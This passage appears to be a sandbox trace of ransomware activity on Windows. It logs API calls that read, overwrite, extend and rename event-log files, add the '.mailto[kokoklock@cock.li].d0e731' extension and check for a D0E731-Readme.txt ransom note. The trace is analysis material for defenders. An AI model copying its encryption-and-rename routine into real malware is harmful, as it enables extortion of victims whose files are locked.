(lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.730] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0167.730] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.730] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.730] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.730] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.730] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3378) returned 1 [0167.730] RtlExitUserThread (Status=0x1) Thread: id = 1673 os_tid = 0x674 [0167.735] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.736] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.736] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.736] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb46fbec | out: lpFileSize=0xb46fbec*=69824) returned 1 [0167.736] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.736] ReadFile (in: hFile=0x528, lpBuffer=0xb46fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0xb46fbc0*, lpNumberOfBytesRead=0xb46fbbc*=0x4, lpOverlapped=0x0) returned 1 [0167.737] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962a0 [0167.737] NtQuerySystemTime (in: CurrentTime=0xb46fb98 | out: CurrentTime=0xb46fb98*=132121213250532880) returned 0x0 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x4f091611 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xe7a08a07 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xc1941233 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x51709c1b [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xb5da1568 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x6ed4be04 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x44616162 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xa6595b4f [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x4b30ba6a [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x897863ba [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xfba849c2 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xec1f2bd0 [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x9b017edb [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x14d126ed [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x1ea5e8ac [0167.737] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xaaf3062a [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xde00c9f3 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x2abf6dba [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x656695bd [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x3ed551f4 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x160b0aee [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x7408849a [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x1485b190 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x11e9e5b [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xe02eb59f [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xd7e66162 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xb30498cc [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x8253e6b9 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x28f30d44 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x9b078b11 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0xfd0b5888 [0167.738] RtlRandom (in: Seed=0xb46fba4 | out: Seed=0xb46fba4) returned 0x42e59738 [0167.747] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.748] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.749] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.749] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.749] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.749] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb46fb70, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb46fb70*=0x4096, lpOverlapped=0x0) returned 1 [0167.750] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.750] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.750] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96368 [0167.750] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96368) returned 1 [0167.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.751] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb46fb70, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb46fb70*=0x4096, lpOverlapped=0x0) returned 1 [0167.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.751] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.751] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb46fba8, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xb46fba8*=0x20, lpOverlapped=0x0) returned 1 [0167.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.751] WriteFile (in: hFile=0x528, lpBuffer=0x2f96318*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f96318*, lpNumberOfBytesWritten=0xb46fbbc*=0x8, lpOverlapped=0x0) returned 1 [0167.751] WriteFile (in: hFile=0x528, lpBuffer=0xb46fbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0xb46fbd4*, lpNumberOfBytesWritten=0xb46fbbc*=0x4, lpOverlapped=0x0) returned 1 [0167.752] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb46fbbc*=0x4, lpOverlapped=0x0) returned 1 [0167.752] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb46fbbc*=0x6c, lpOverlapped=0x0) returned 1 [0167.752] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb46fbbc*=0x20, lpOverlapped=0x0) returned 1 [0167.752] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb46fbbc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb46fbbc*=0x4, lpOverlapped=0x0) returned 1 [0167.752] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.752] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.752] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96318) returned 1 [0167.752] CloseHandle (hObject=0x528) returned 1 [0167.752] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2f70d80 [0167.752] wcscpy (in: _Dest=0x2f70d80, _Source="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.752] wcscat (in: _Dest=0x2f70d80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.752] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.753] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.753] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0167.753] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.754] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.754] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.754] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.754] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.754] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95240) returned 1 [0167.754] RtlExitUserThread (Status=0x1) Thread: id = 1674 os_tid = 0x600 [0167.758] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.759] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.759] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.759] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xb4efb58 | out: lpFileSize=0xb4efb58*=69824) returned 1 [0167.759] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.759] ReadFile (in: hFile=0x528, lpBuffer=0xb4efb2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0xb4efb2c*, lpNumberOfBytesRead=0xb4efb28*=0x4, lpOverlapped=0x0) returned 1 [0167.761] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.761] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.761] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.761] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.761] NtQuerySystemTime (in: CurrentTime=0xb4efb04 | out: CurrentTime=0xb4efb04*=132121213250689242) returned 0x0 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xe4e3465d [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xa66d61e1 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xe63c7fb [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x93d0cd15 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x1e8fae83 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x2ecdbc2f [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xed1fa118 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x5df9cc8 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x451a5b3b [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x377c8105 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xd1afe6c8 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xd296a9e [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x588a8e46 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x5fa2e585 [0167.761] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x8e6c0d03 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x653dfa1f [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x33944d5f [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x8bb19345 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x47ab4dd2 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x90f7d754 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x6b68ed33 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x8e0c0b58 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xb3ff7d4b [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x666ef5ec [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x9df6621e [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xec051e5 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xee0ebb5d [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x442abab0 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x55a8a40d [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0x1968ae16 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xba2462a0 [0167.762] RtlRandom (in: Seed=0xb4efb10 | out: Seed=0xb4efb10) returned 0xa7799df4 [0167.770] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.772] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.772] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96368 [0167.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.772] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.772] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.772] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.772] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb4efadc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xb4efadc*=0x4096, lpOverlapped=0x0) returned 1 [0167.774] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0167.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.774] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb4efadc, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xb4efadc*=0x4096, lpOverlapped=0x0) returned 1 [0167.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.775] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.775] WriteFile (in: hFile=0x528, lpBuffer=0x2f96278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb4efb14, lpOverlapped=0x0 | out: lpBuffer=0x2f96278*, lpNumberOfBytesWritten=0xb4efb14*=0x20, lpOverlapped=0x0) returned 1 [0167.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.775] WriteFile (in: hFile=0x528, lpBuffer=0x2f96368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0x2f96368*, lpNumberOfBytesWritten=0xb4efb28*=0x8, lpOverlapped=0x0) returned 1 [0167.776] WriteFile (in: hFile=0x528, lpBuffer=0xb4efb40*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0xb4efb40*, lpNumberOfBytesWritten=0xb4efb28*=0x4, lpOverlapped=0x0) returned 1 [0167.776] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xb4efb28*=0x4, lpOverlapped=0x0) returned 1 [0167.776] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xb4efb28*=0x6c, lpOverlapped=0x0) returned 1 [0167.776] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xb4efb28*=0x20, lpOverlapped=0x0) returned 1 [0167.776] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb4efb28, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xb4efb28*=0x4, lpOverlapped=0x0) returned 1 [0167.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96368) returned 1 [0167.776] CloseHandle (hObject=0x528) returned 1 [0167.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95908 [0167.776] wcscpy (in: _Dest=0x2f95908, _Source="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.776] wcscat (in: _Dest=0x2f95908, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.776] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.777] 